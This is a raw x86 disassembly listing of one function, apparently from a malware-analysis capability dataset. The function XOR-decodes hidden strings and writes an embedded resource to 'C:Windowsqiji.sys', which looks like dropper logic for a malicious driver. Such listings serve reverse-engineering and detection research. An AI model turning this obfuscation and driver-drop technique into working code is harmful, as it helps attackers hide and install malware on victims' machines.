Function at 0x408744
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x473a30]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0xb], 0x84
mov byte [ebp - 0xa], 0xa8
mov byte [ebp - 9], 0xb5
mov byte [ebp - 8], 0xa2
mov byte [ebp - 7], 0xc7
mov byte [ebp - 0x1f], 0x84
mov byte [ebp - 0x1e], 0xa8
mov byte [ebp - 0x1d], 0xb5
mov byte [ebp - 0x1c], 0xa2
mov byte [ebp - 0x1b], 0xc7
mov byte [ebp - 0x17], 0x9b
mov byte [ebp - 0x16], 0xe9
mov byte [ebp - 0x15], 0x9b
mov byte [ebp - 0x14], 0x8b
mov byte [ebp - 0x13], 0x84
mov byte [ebp - 0x12], 0xa8
mov byte [ebp - 0x11], 0xb5
mov byte [ebp - 0x10], 0xa2
mov byte [ebp - 0xf], 0xc7
lea eax, [ebp - 0xc]
mov byte [ebp - 0xc], 0x4c
inc eax
xor byte [eax], 0xc7
jne 0x4087aa
lea eax, [ebp - 0x20]
mov byte [ebp - 0x20], 0x4c
inc eax
xor byte [eax], 0xc7
jne 0x4087b7
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], 0x5c
inc eax
xor byte [eax], 0xc7
jne 0x4087c4
push esi
lea eax, [ebp - 0x18]
push eax
mov esi, 0x4765a0
call fcn.00404c75
test eax, eax
je 0x4087fc
push dword [0x4765a0]
lea eax, [ebp - 0x24]
push str.0x_X
push eax
call fcn.0043ca22
xor eax, eax
add esp, 0xc
inc eax
jmp 0x408a2a
push ebx
push edi
mov esi, 0x104
push esi
xor ebx, ebx
lea eax, [ebp - 0x22c]
push ebx
push eax
call fcn.0043ee90
add esp, 0xc
lea eax, [ebp - 0x22c]
push eax
push esi
call dword [0x4592e0]
cmp eax, esi
jae 0x40885c
cmp eax, ebx
je 0x40885c
call dword [0x4592dc]
push eax
call fcn.0043d332
pop ecx
lea eax, [ebp - 0x128]
push eax
call fcn.0043d344
push eax
push 0x461f58
lea eax, [ebp - 0x22c]
push eax
call dword [0x4592d8]
test eax, eax
ja 0x40886c
push 5
pop ecx
mov esi, str.C:Windowsqiji.sys
lea edi, [ebp - 0x128]
rep movsd dword es:[edi], dword [esi]
push ebx
push 6
push 4
push ebx
push ebx
push 0xc0000000
lea eax, [ebp - 0x128]
push eax
call dword [0x459350]
mov dword [ebp - 0x230], eax
cmp eax, 0xffffffff
je 0x408a26
movzx eax, word [ebp + 8]
push 0x461dc4
push eax
push ebx
call dword [0x45936c]
mov esi, eax
push esi
push ebx
call dword [0x459360]
mov edi, eax
push edi
call dword [0x459364]
mov dword [ebp - 0x238], eax
cmp esi, ebx
je 0x408a0d
cmp edi, ebx
je 0x408a0d
cmp eax, ebx
je 0x408a0d
lea eax, [ebp - 0x234]
push eax
push esi
push ebx
mov dword [ebp - 0x234], ebx
call dword [0x459368]
push dword [ebp - 0x238]
mov ebx, eax
call fcn.0040658a
cmp dword [ebp + 8], 0xcb
mov ebx, dword [ebp - 0x234]
pop ecx
pop ecx
mov esi, eax
jne 0x408911
push esi
call fcn.00408c18
push 0
lea eax, [ebp - 0x23c]
push eax
push esi
push ebx
push dword [ebp - 0x230]
call dword [0x45934c]
push dword [ebp - 0x230]
call dword [0x459348]
push 0x8000
push 0
push ebx
call dword [0x45933c]
xor eax, eax
mov cl, byte [ebp + eax - 0x128]
mov byte [eax + 0x4765a4], cl
inc eax
test cl, cl
jne 0x408944
xor eax, eax
mov cl, byte [ebp + eax - 0xc]
mov byte [eax + 0x4766a8], cl
inc eax
test cl, cl
jne 0x408958
xor eax, eax
mov cl, byte [ebp + eax - 0x20]
mov byte [eax + 0x4767ac], cl
inc eax
test cl, cl
jne 0x408969
mov esi, 0x4765a0
call fcn.00404bdb
mov edi, str.0x_X
test eax, eax
jne 0x40899e
push dword [0x4765a0]
lea eax, [ebp - 0x24]
push edi
push eax
call fcn.0043ca22
add esp, 0xc
push 0
push 0
push dword [0x4768b8]
call dword [0x459040]
test eax, eax
jne 0x4089d2
call dword [0x459354]
mov dword [0x4765a0], eax
cmp eax, 0x420
je 0x4089d2
push eax
lea eax, [ebp - 0x24]
push edi
push eax
call fcn.0043ca22
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
call fcn.00404c75
test eax, eax
jne 0x4089f2
push dword [0x4765a0]
lea eax, [ebp - 0x24]
push edi
push eax
call fcn.0043ca22
add esp, 0xc
lea eax, [ebp - 0x128]
push eax
call dword [0x4592d4]
xor eax, eax
cmp dword [0x4768b0], 0xffffffff
setne al
jmp 0x408a28
push dword [ebp - 0x230]
call dword [0x459348]
lea eax, [ebp - 0x128]
push eax
call dword [0x4592d4]
xor eax, eax
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0043c573
leave
ret 4